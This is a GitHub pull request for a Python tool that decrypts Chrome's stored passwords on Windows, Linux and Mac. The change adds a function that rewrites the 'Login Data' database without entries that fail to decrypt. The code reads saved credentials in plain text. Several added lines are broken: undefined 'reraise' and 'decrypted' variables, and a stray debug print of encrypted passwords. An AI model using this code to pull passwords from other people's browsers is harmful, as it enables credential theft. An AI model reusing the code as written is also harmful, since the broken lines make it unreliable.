Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix Chrome's problem when a password is mis-encrypted #20

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
26 changes: 23 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,18 @@ Like other browsers Chrome also has built-in login password manager functionalit

Chrome stores all the sign-on secrets into the internal database file called 'Web data' in the current user profile folder. Newer version has moved the login passwords related database into new file named 'Login Data'.This database file is in SQLite format and contains number of tables storing different kind of data such as auto complete, search keyword, ie7logins etc in addition to login secrets.

The logins table mainly contains the information about sign-on secrets such as website URL, username, password fields etc. All this information is stored in the clear text except passwords which are in encrypted format.
The logins table mainly contains the information about sign-on secrets such as website URL, username, password fields etc. All this information is stored in the clear text except passwords which are in encrypted format.

Unfortunately, sometimes a password gets garbled and cannot be decrypted. Chrome behaves rather erratically in this case, as it still fills in passwords and saves new ones, but cannot display or sync saved passwords. You can use this little utility to see all passwords except the garbled ones (which are presumed lost).

You can also use it to create a version of the password database without the garbled entries. However, you must copy the result into the Chrome directory yourself. We strongly recommend that you BACK UP the password database (named `Login Data`) before overwriting it with the new version, as the functionality is NOT VERY WELL TESTED. And then, if your passwords are lost, just restore the old file.

#### Prerequisites

Install the following packages using pip:

* secretstorage
* pycryptodome

#### Windows Implementation
Google Chrome encrypt the password with the help of CryptProtectData function, built into Windows. Now while this can be a very secure function using a triple-DES algorithm and creating user-specific keys to encrypt the data, it can still be decrypted as long as you are logged into the same account as the user who encrypted it.The CryptProtectData function has a twin, who does the opposite to it; CryptUnprotectData, which... well you guessed it, decrypts the data. And obviously this is going to be very useful in trying to decrypt the stored passwords.
Expand All @@ -29,6 +40,8 @@ Encryption Scheme: AES-128 CBC with a constant salt and constant iterations. The

## Python Implementation (Working)

Stop Chrome before running this utility.

#### Usage
```python
>>> from chrome import Chrome
Expand All @@ -52,11 +65,18 @@ Encryption Scheme: AES-128 CBC with a constant salt and constant iterations. The
}
```

To generate a new `Login Data` in the current directory:
```
>>> chrome_pwd.rewrite_passwords()
Failed and excluded: INSERT INTO "logins" VALUES('https://some.website.com/password/change/blah','https://some.website.com/password/change/blah','','some@user.com','password',X'FF00FF00FF00','','https://some.website.com/',1334343408358214120,0,0,0,0,X'9801000006000000000000005800000068747470733A2F2F617574682E6265656C647374656D6D656E9485349758394875394579348758616E67652F75663538575F4443433643663833776D713173796C46773874623979574C73335038676A5F366B3546586B3300000068747470733A2F2F617574682E6265656C647374656D6D656E2E6E6C2F70617373776F72642F6368616E67652F6368616E67650002000000080000000000000008000000700061007300730077006F0072006400000000000800000070617373776F726400000000FFFFFF7F000000000000000000000000010000000100000001000000020000000000000000000000000000000000000001000000000000000000000008000000000000000F000000700061007300730077006F007200640043006F006E006600690072006D000000000000000800000070617373776F726400000000FFFFFF7F00000000000000000000000001000000010000000100000002000000000000000000000000000000000000000500000000000000000000000100000000000000040000006E756C6C',0,'','','',0,0,X'00000000',4,1876808358214086,X'00000000');
New Login Data ready, use at your own risk
```

Then back up Chrome's `Login Data` file and overwrite it with the new one that is in your current directory.

## Contribute
Feel free to contribute. Please Follow PEP8 Guidelines.

TO DO:
* Cookie support
* Updating database password directly


123 changes: 115 additions & 8 deletions chrome.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,13 +3,14 @@
"""
import json
import os
import os.path
import platform
import sqlite3
import string
import subprocess
from getpass import getuser
from importlib import import_module
from os import unlink
from os import unlink,rename
from shutil import copy

import secretstorage
Expand Down Expand Up @@ -45,9 +46,13 @@ def decrypt_func(self, enc_passwd):
initialization_vector = b' ' * 16
enc_passwd = enc_passwd[3:]
cipher = aes.new(self.key, aes.MODE_CBC, IV=initialization_vector)
decrypted = cipher.decrypt(enc_passwd)
return decrypted.strip().decode('utf8')

try:
decrypted = cipher.decrypt(enc_passwd)
return decrypted.strip().decode('utf8')
except BaseException as err:
if reraise:
raise
return("FAILED DECODE: "+str(err))

class ChromeWin:
""" Decryption class for chrome windows installation """
Expand All @@ -67,8 +72,14 @@ def __init__(self):
def decrypt_func(self, enc_passwd):
""" Windows Decryption Function """
win32crypt = import_module('win32crypt')
data = win32crypt.CryptUnprotectData(enc_passwd, None, None, None, 0)
return data[1].decode('utf8')
try:
data = win32crypt.CryptUnprotectData(enc_passwd, None, None, None, 0)
return data[1].decode('utf8')
except BaseException as err:
if reraise:
raise
return("FAILED DECODE: "+str(err))



class ChromeLinux:
Expand All @@ -90,14 +101,19 @@ def __init__(self):
self.key = kdf.PBKDF2(my_pass, salt, length, iterations)
self.dbpath = f"/home/{getuser()}/.config/google-chrome/Default/"

def decrypt_func(self, enc_passwd):
def decrypt_func(self, enc_passwd, reraise = False):
""" Linux Decryption Function """
aes = import_module('Crypto.Cipher.AES')
initialization_vector = b' ' * 16
enc_passwd = enc_passwd[3:]
cipher = aes.new(self.key, aes.MODE_CBC, IV=initialization_vector)
decrypted = cipher.decrypt(enc_passwd)
return decrypted.strip().decode('utf8')
try:
return decrypted.strip().decode('utf8')
except BaseException as err:
if reraise:
raise
return("FAILED DECODE: "+str(err))


class Chrome:
Expand Down Expand Up @@ -130,6 +146,7 @@ def get_password(self, prettyprint=False):
FROM logins; """)
data = {'data': []}
for result in cursor.fetchall():
print(result[2])
_passwd = self.chrome_os.decrypt_func(result[2])
passwd = ''.join(i for i in _passwd if i in string.printable)
if result[1] or passwd:
Expand All @@ -145,6 +162,96 @@ def get_password(self, prettyprint=False):
return json.dumps(data, indent=4)
return data

def rewrite_passwords(self):
""" Write a new Login Data file in the current directory without garbled lines
"""

# failsafe
if os.path.exists("Login Data"):
print ("Login Data exists. If you are running inside Chrome config directory, DON'T. Otherwise delete the file and rerun")
return

copy(self.chrome_os.dbpath + "Login Data", "Login Data Copy.db")
conn = sqlite3.connect("Login Data Copy.db")
new_conn = sqlite3.connect("Login Data.db")
new_cursor = new_conn.cursor()

password_param_index = -1

for line in conn.iterdump():
exec = True

#print(line)

if (line.find("CREATE TABLE logins") >= 0):
# determine the index of the password
password_param_index = 0
mangle_line = line

while (mangle_line.find(',')>=0) and (mangle_line.find(',')<mangle_line.find("password_value")):
password_param_index += 1
mangle_line = mangle_line[mangle_line.find(',')+1:]


if (line.find('INSERT INTO "logins"') >= 0) and (password_param_index >= 0):
# this line adds a line into logins, find the password, try to decrypt it
mangle_line = line

# remove all until the ( inclusive
mangle_line = mangle_line[mangle_line.find('(')+1:]

# process character by character
# when a comma is encountered outside a '' delineated string, increase current_index
# stop when the password_param_index is reached or the line is empty
current_index = 0
in_string = False
while current_index < password_param_index:
# failsafe
if len(mangle_line) == 0:
break

# process double '' inside a string for escaping, special case
if in_string and (mangle_line[0:2] == "''"):
mangle_line = mangle_line[2:]
continue

# process a comma
if (not in_string) and (mangle_line[0] == ','):
current_index += 1

# process a single quote to enter or exit a string
if mangle_line[0] == "'":
in_string = not in_string

mangle_line = mangle_line[1:]

if (len(mangle_line) == 0) or (mangle_line.find(',')<mangle_line.find("'")):
print("Password value not found: "+line)
else:
# retrieve password value
mangle_line = mangle_line[mangle_line.find("'")+1:]
mangle_line = mangle_line[:mangle_line.find("'")]
password_value = bytes.fromhex(mangle_line)
try:
_passwd = self.chrome_os.decrypt_func(password_value, reraise = True)
except BaseException:
print("Failed and excluded: "+line)
exec = False

if exec:
new_cursor.execute(line)
else:
print("Line skipped")


conn.close()
new_conn.close()
unlink("Login Data Copy.db")
rename("Login Data.db","Login Data")
print("New Login Data ready, use at your own risk")




def main():
""" Operational Script """
Expand Down